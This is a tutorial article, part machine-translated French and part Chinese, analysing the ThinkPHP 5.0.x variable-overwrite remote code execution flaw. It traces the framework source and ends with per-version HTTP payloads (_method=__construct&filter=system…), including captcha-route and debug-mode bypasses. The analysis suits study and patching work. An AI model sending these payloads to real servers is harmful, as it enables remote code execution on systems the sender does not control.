La colonne tutorielle suivante de thinkphp vous présentera l'analyse RCE provoquée par la couverture variable dans la version complète de thinkphp5.0.X. J'espère qu'elle vous sera utile. amis dans le besoin !
Je tombe toujours sur des sites thinkphp5.0.X et recherche des vulnérabilités en ligne . Il existe plusieurs types de charges utiles qui peuvent être utilisées pour exécuter l'exécution de code à distance provoquée par une couverture variable. Il existe certaines différences entre les différentes petites versions, telles que les types suivants.
_method=__construct&filter=system&a=whoami _method=__construct&filter=system&a=whoami&method=GET _method=__construct&filter=system&get[]=whoami ...
Bien que la charge utile soit correcte, cela me rend confus et je ne sais pas pourquoi.
Quelles sont les différences entre ces types ?
Quelle est la fonction de chaque paramètre ?
Pourquoi cela se produit-il ?
thinkphp a deux versions, l'une est la version principale et l'autre est la version complète. Pour faire simple, la version principale n'inclut pas de bibliothèques tierces, telles que les bibliothèques de codes de vérification (c'est nous qui soulignons, qui sera utilisé plus tard).
À partir de 5.0.0, la charge utile d'exécution de code applicable à 5.0.0 ressemble à ceci
POST /thinkphp5.0.0 HTTP/1.1 _method=__construct&filter=system&a=whoami&method=GET
Pourquoi _method=__construct
Pourquoi filter=system
Pourquoi a=whoami
Pourquoi method=GET
Le fichier d'entrée de thinkphp est public/index.php
, comme suit.
// 定义应用目录 define('APP_PATH', __DIR__ . '/../application/'); // 加载框架引导文件 require __DIR__ . '/../thinkphp/start.php';
Suivithinkphp/start.php
.
// 1. 加载基础文件 require __DIR__ . '/base.php'; // 2. 执行应用 App::run()->send();
voit que l'application d'exécution App::run()
est appelée.
Suivez la fonction thinkphp/library/think/App.php
sous run()
.
/** * 执行应用程序 * @access public * @param Request $request Request对象 * @return Response * @throws Exception */ public static function run(Request $request = null) { ... // 获取应用调度信息 $dispatch = self::$dispatch; if (empty($dispatch)) { // 进行URL路由检测 $dispatch = self::routeCheck($request, $config); } // 记录当前调度信息 $request->dispatch($dispatch); ... }
Dans la fonction run()
, la fonction self::routeCheck()
sera appelée en fonction des informations demandées, effectuera la détection de routage d'URL, définira les informations de planification et l'attribuera à $dispatch
.
/** * URL路由检测(根据PATH_INFO) * @access public * @param \think\Request $request * @param array $config * @return array * @throws \think\Exception */ public static function routeCheck($request, array $config) { ... // 路由检测(根据路由定义返回不同的URL调度) $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); ... return $result; }
La fonction Route::check()
est la suivante.
/** * 检测URL路由 * @access public * @param Request $request Request请求对象 * @param string $url URL地址 * @param string $depr URL分隔符 * @param bool $checkDomain 是否检测域名规则 * @return false|array */ public static function check($request, $url, $depr = '/', $checkDomain = false) { ... $method = $request->method(); // 获取当前请求类型的路由规则 $rules = self::$rules[$method]; ...
appellera la fonction $request->method()
pour obtenir le type de requête actuel.
/** * 当前的请求类型 * @access public * @param bool $method true 获取原始请求类型 * @return string */ public function method($method = false) { if (true === $method) { // 获取原始请求类型 return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']); } elseif (!$this->method) { if (isset($_POST[Config::get('var_method')])) { $this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST); ... return $this->method; }
Parce qu'aucun paramètre n'est passé lors de l'appel de la fonction method()
ci-dessus, ici $method = false
, saisissez elseif
. var_method
est une variable de déguisement de type demande de formulaire, et sa valeur peut être vue dans application/config.php
comme _method
.
// 表单请求类型伪装变量 'var_method' => '_method',
Ensuite, tant que POST passe un paramètre _method
, vous pouvez saisir le if suivant, qui exécutera
$this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST);
, vous pouvez donc appeler n'importe quelle fonction de cette classe en spécifiant _method
.
Donc _method=__construct
consiste à appeler la fonction sous thinkphp/library/think/Request.php__construct
. Il convient de noter que la valeur de Request
sous la catégorie $method
est également écrasée par __construct
. C'est très important, alors enregistrez-la d'abord.
method => __construct
Alors pourquoi avez-vous besoin d'appeler la fonction __construct
pour compléter la chaîne d'attaque, et pas une autre fonction ?
Fonction de suivi comme suit.
/** * 架构函数 * @access public * @param array $options 参数 */ public function __construct($options = []) { foreach ($options as $name => $item) { if (property_exists($this, $name)) { $this->$name = $item; } } if (is_null($this->filter)) { $this->filter = Config::get('default_filter'); } }
Lors de l'appel de la fonction __construct
ci-dessus, le tableau $_POST
a été transmis, ce qui signifie que foreach
sera utilisé pour parcourir les données soumises par POST, puis property_exists()
sera utilisé pour détecter si la classe a cet attribut, attribuer une valeur si elle existe, et $name
et $item
proviennent tous deux de $_POST
, ce qui est complètement contrôlable. Il y a un problème de variable. couverture ici. La fonction de filter=system&method=GET
est d'écraser $filter
sous la classe actuelle vers system
, et $method
vers GET
La situation variable actuelle :
method => __construct => GET filter => system
Pourquoi method
devrait-il être à nouveau écrasé. dans GET
? , car il y a deux lignes de code dans la fonction check()
.
$method = $request->method(); // 获取当前请求类型的路由规则 $rules = self::$rules[$method];
a été couvert par des variables dans la fonction method()
, et la valeur de $method
est __construct
. La définition de $rules est la suivante :
private static $rules = [ 'GET' => [], 'POST' => [], 'PUT' => [], 'DELETE' => [], 'PATCH' => [], 'HEAD' => [], 'OPTIONS' => [], '*' => [], 'alias' => [], 'domain' => [], 'pattern' => [], 'name' => [], ];
Ensuite, si vous n'écrasez pas à nouveau $method
par GET、POST、PUT
et ainsi de suite, self::$rules[$method]
sera self::$rules['__construct']
, et le programme signalera un erreur.
Une fois les informations de planification de l'application obtenues, si debug est activé, les informations de routage et de demande seront enregistrées. C'est également très important, enregistrez-le d'abord.
if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); }
entre ensuite en $dispatch
traitement selon le switch case
type.
switch ($dispatch['type']) { case 'redirect': // 执行重定向跳转 $data = Response::create($dispatch['url'], 'redirect')->code($dispatch['status']); break; case 'module': // 模块/控制器/操作 $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null); break; case 'controller': // 执行控制器操作 $data = Loader::action($dispatch['controller']); break; case 'method': // 执行回调方法 $data = self::invokeMethod($dispatch['method']); break; case 'function': // 执行闭包 $data = self::invokeFunction($dispatch['function']); break; case 'response': $data = $dispatch['response']; break; default: throw new \InvalidArgumentException('dispatch type not support'); }
Accès direct à public/index.php
La valeur par défaut appelée nom du module/nom du contrôleur/nom de l'opération est /index/index/index
, qui est spécifiquement définie dans application/config.php
.
// 默认模块名 'default_module' => 'index', // 禁止访问模块 'deny_module_list' => ['common'], // 默认控制器名 'default_controller' => 'Index', // 默认操作名 'default_action' => 'index',
因此对应的$dispatch['type']
为module
,会调用module()
函数,经过一系列的处理后返回数据到客户端。
case 'module': // 模块/控制器/操作 $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null); break;
跟进module()
函数,关键在invokeMethod()
。
/** * 执行模块 * @access public * @param array $result 模块/控制器/操作 * @param array $config 配置参数 * @param bool $convert 是否自动转换控制器和操作名 * @return mixed */ public static function module($result, $config, $convert = null) { ... $data = self::invokeMethod($call); ...
invokeMethod()
如下,跟进bindParams()
。
/** * 调用反射执行类的方法 支持参数绑定 * @access public * @param string|array $method 方法 * @param array $vars 变量 * @return mixed */ public static function invokeMethod($method, $vars = []) { ... $args = self::bindParams($reflect, $vars); ... }
bindParams()
如下,跟进param()
。
/** * 绑定参数 * @access public * @param \ReflectionMethod|\ReflectionFunction $reflect 反射类 * @param array $vars 变量 * @return array */ private static function bindParams($reflect, $vars = []) { if (empty($vars)) { // 自动获取请求变量 if (Config::get('url_param_type')) { $vars = Request::instance()->route(); } else { $vars = Request::instance()->param(); } }
这是关键点,param()
函数是获取当前请求参数的。
/** * 设置获取获取当前请求的参数 * @access public * @param string|array $name 变量名 * @param mixed $default 默认值 * @param string|array $filter 过滤方法 * @return mixed */ public function param($name = '', $default = null, $filter = null) { if (empty($this->param)) { $method = $this->method(true); // 自动获取请求变量 switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; } // 当前请求参数和URL地址中的参数合并 $this->param = array_merge($this->get(false), $vars, $this->route(false)); } if (true === $name) { // 获取包含文件上传信息的数组 $file = $this->file(); $data = array_merge($this->param, $file); return $this->input($data, '', $default, $filter); } return $this->input($this->param, $name, $default, $filter); }
这里又会调用method()
获取当前请求方法,然后会根据请求的类型来获取参数以及合并参数,参数的来源有get[],route[],$_POST
,那么通过可以变量覆盖传参,也可以直接POST传参。
所以以下几种方式都是一样可行的:
a=whoami aaaaa=whoami get[]=whoami route=whoami
最后调用input()
函数
/** * 获取变量 支持过滤和默认值 * @param array $data 数据源 * @param string|false $name 字段名 * @param mixed $default 默认值 * @param string|array $filter 过滤函数 * @return mixed */ public function input($data = [], $name = '', $default = null, $filter = null) { ... if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); reset($data); } else { $this->filterValue($data, $name, $filter); } ... }
input()
函数中会通过filterValue()
函数对传入的所有参数进行过滤,这里全局过滤函数已经在前面被覆盖为system
并会在filterValue()
函数中使用。
/** * 递归过滤给定的值 * @param mixed $value 键值 * @param mixed $key 键名 * @param array $filters 过滤方法+默认值 * @return mixed */ private function filterValue(&$value, $key, $filters) { $default = array_pop($filters); foreach ($filters as $filter) { if (is_callable($filter)) { // 调用函数或者方法过滤 $value = call_user_func($filter, $value); ...
通过call_user_func()
完成任意代码执行,这也就是filter
为什么要覆盖成system
的原因了,覆盖成别的函数也行,想执行什么覆盖成什么。
在thinkphp5.0.8以后thinkphp/library/think/Route.php下的check()
函数中有一处改动。
这里多了一处判断,所以不加method=GET
也不会报错,可以正常执行。
_method=__construct&filter=system&a=whoami
测试到5.0.13版本,payload打过去没有反应,为什么?
跟踪代码发现thinkphp/library/think/App.php
下的module()
函数多了一行代码。
// 设置默认过滤机制 $request->filter($config['default_filter']);
前面通过变量覆盖把$filter
覆盖成了system,这里又把$filter
给二次覆盖回去了,导致攻击链断了。
前面提到过如果开启了debug模式,很重要,为什么呢?
// 记录路由和请求信息 if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); }
最后一句会调用param()
函数,而攻击链核心就是通过前面的变量覆盖全局过滤函数$filter
,进入param()
获取参数再进入input()
进行全局过滤造成的代码执行。这里在$filter
被二次覆盖之前调用了一次param()
,也就是说如果开启了debug,在5.0.13开始也可以攻击,也是为什么有时候代码执行会返回两次结果的原因。filter
是在module
函数中被覆盖回去的,而执行module
函数是根据$dispatch
的类型来决定的,那是否能不走module
函数,绕过这里的覆盖呢?
在完整版的thinkphp中,有提供验证码类库,其中的路由定义在vendor/topthink/think-captcha/src/helper.php
中。
\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");
其对应的dispatch
类型为method
,完美的避开了二次覆盖,路由限定了请求类型为get
,所以在5.0.13开始,如果没有开debug
,还可以调用第三方类库完成攻击链。
POST /?s=captcha _method=__construct&filter=system&method=GET&a=whoami
到5.0.21版本开始,函数method()
有所改动。
通过server()
函数获取请求方法,并且其中调用了input()
函数。
/** * 获取server参数 * @access public * @param string|array $name 数据名称 * @param string $default 默认值 * @param string|array $filter 过滤方法 * @return mixed */ public function server($name = '', $default = null, $filter = '') { if (empty($this->server)) { $this->server = $_SERVER; } if (is_array($name)) { return $this->server = array_merge($this->server, $name); } return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter); }
前面分析过了,最后代码执行是进入input()
中完成的,所以只要能进入server()
函数也可以造成代码执行。
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
param()
函数是根据method()
返回值来获取参数的,现在method()
的逻辑变了,如果不传递server[REQUEST_METHOD]
,返回的就是GET,阅读代码得知参数的来源有$param[]、$get[]、$route[]
,还是可以通过变量覆盖来传递参数,但是就不能用之前形如a=whoami
任意参数名来传递了。
// 当前请求参数和URL地址中的参数合并 $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
在测试的时候发现只能通过覆盖get[]、route[]
完成攻击,覆盖param[]
却不行,调试后找到原因,原来是在route()
函数里param[]
又被二次覆盖了。
/** * 设置获取路由参数 * @access public * @param string|array $name 变量名 * @param mixed $default 默认值 * @param string|array $filter 过滤方法 * @return mixed */ public function route($name = '', $default = null, $filter = '') { if (is_array($name)) { $this->param = []; return $this->route = array_merge($this->route, $name); } return $this->input($this->route, $name, $default, $filter); }
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=GET&get[]=whoami
或者
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=GET&route[]=whoami
各版本通用的变量覆盖payload如下
5.0.0~5.0.12 无条件触发
POST / HTTP/1.1 _method=__construct&filter=system&method=GET&a=whoami a可以替换成get[]、route[]或者其他名字
5.0.13~5.0.23 需要有第三方类库 如完整版中的captcha
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=get&get[]=whoami get[]可以换成route[]
5.0.13~5.0.23 需要开启debug
POST / HTTP/1.1 _method=__construct&filter=system&get[]=whoami get[]可以替换成route[]
相关推荐:最新的10个thinkphp视频教程
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!